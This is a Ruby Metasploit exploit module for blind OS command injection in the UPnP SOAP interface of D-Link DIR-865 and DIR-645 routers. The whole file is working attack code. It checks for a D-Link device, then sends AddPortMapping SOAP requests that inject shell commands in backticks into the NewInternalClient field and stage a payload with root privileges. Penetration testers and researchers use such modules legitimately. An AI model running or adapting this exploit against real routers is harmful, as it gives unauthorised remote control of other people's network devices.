141 lines
4.3 KiB
Ruby
141 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link Devices UPnP SOAP Command Execution',
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'Description' => %q{
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Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
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interface. Since it is a blind OS command injection vulnerability, there is no
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output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.
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},
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'Author' =>
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[
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'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '94924'],
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['BID', '61005'],
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['EDB', '26664'],
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['URL', 'http://www.s3cur1ty.de/m1adv2013-020']
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],
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'DisclosureDate' => 'Jul 05 2013',
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'Privileged' => true,
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'MIPS Little Endian',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSLE
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}
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],
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[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
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{
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE
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}
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],
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],
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'DefaultTarget' => 0
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))
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deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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register_options(
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[
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Opt::RPORT(49152) # port of UPnP SOAP webinterface
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], self.class)
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end
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def check
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begin
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res = send_request_cgi({
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'uri' => '/InternetGatewayDevice.xml'
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})
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if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-/
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return Exploit::CheckCode::Detected
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown
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end
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Exploit::CheckCode::Unknown
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end
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def exploit
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print_status("Trying to access the device ...")
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unless check == Exploit::CheckCode::Detected
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fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
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end
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print_status("Exploiting...")
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execute_cmdstager(
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:flavor => :echo,
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:linemax => 400
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)
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end
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def execute_command(cmd, opts)
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new_portmapping_descr = rand_text_alpha(8)
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new_external_port = rand(32767) + 32768
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new_internal_port = rand(32767) + 32768
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uri = '/soap.cgi'
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soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
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data_cmd = "<?xml version=\"1.0\"?>"
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data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
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data_cmd << "<SOAP-ENV:Body>"
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data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
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data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>"
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data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
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data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
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data_cmd << "<NewEnabled>1</NewEnabled>"
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data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
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data_cmd << "<NewRemoteHost></NewRemoteHost>"
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data_cmd << "<NewProtocol>TCP</NewProtocol>"
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data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
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data_cmd << "</m:AddPortMapping>"
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data_cmd << "</SOAP-ENV:Body>"
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data_cmd << "</SOAP-ENV:Envelope>"
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begin
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res = send_request_cgi({
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'uri' => uri,
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'vars_get' => {
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'service' => 'WANIPConn1'
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},
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'ctype' => "text/xml",
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'method' => 'POST',
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'headers' => {
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'SOAPAction' => soapaction,
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},
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'data' => data_cmd
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})
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return res
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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end
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